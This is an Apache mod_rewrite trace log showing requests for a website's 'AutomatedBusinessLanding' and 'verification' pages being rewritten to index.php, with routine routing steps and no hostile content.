[Mon Nov 10 18:32:03.926442 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926461 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926475 2025] [rewrite:trace4] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926486 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926496 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926514 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926528 2025] [rewrite:trace4] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926538 2025] [rewrite:trace1] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926766 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926791 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926812 2025] [rewrite:trace4] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926827 2025] [rewrite:trace4] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926840 2025] [rewrite:trace4] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926849 2025] [rewrite:trace2] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926859 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926868 2025] [rewrite:trace2] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926878 2025] [rewrite:trace2] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926886 2025] [rewrite:trace1] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c01f780/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345401 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345459 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345493 2025] [rewrite:trace4] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345516 2025] [rewrite:trace4] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345529 2025] [rewrite:trace4] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345538 2025] [rewrite:trace2] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345551 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345562 2025] [rewrite:trace2] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345573 2025] [rewrite:trace2] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345583 2025] [rewrite:trace1] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0180d0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345681 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345697 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345714 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345727 2025] [rewrite:trace4] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345738 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345748 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345766 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345780 2025] [rewrite:trace4] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345789 2025] [rewrite:trace1] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c0529f0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345979 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.345999 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.346012 2025] [rewrite:trace4] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.346032 2025] [rewrite:trace4] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.346045 2025] [rewrite:trace4] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.346055 2025] [rewrite:trace2] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.346064 2025] [rewrite:trace3] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.346074 2025] [rewrite:trace2] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.346083 2025] [rewrite:trace2] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:32.346093 2025] [rewrite:trace1] [pid 8261:tid 8290] mod_rewrite.c(505): [client 192.42.116.208:21467] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f479c04fc10/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:36:34.490798 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490863 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490889 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490907 2025] [rewrite:trace4] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490926 2025] [rewrite:trace4] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490938 2025] [rewrite:trace4] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490948 2025] [rewrite:trace2] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490959 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490971 2025] [rewrite:trace2] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490982 2025] [rewrite:trace2] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.490991 2025] [rewrite:trace1] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47940d6b20/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491098 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491294 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491294 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491294 2025] [rewrite:trace4] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491294 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491294 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491294 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491334 2025] [rewrite:trace4] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491342 2025] [rewrite:trace1] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac00cf30/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:36:34.491601 2025] [rewrite:trace3] [pid 8162:tid 8178] mod_rewrite.c(505): [client 192.42.116.208:28697] 192.42.116.208 - - [measureyourbrand.com.au/sid#2233e3e8][rid#7f47ac007be0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
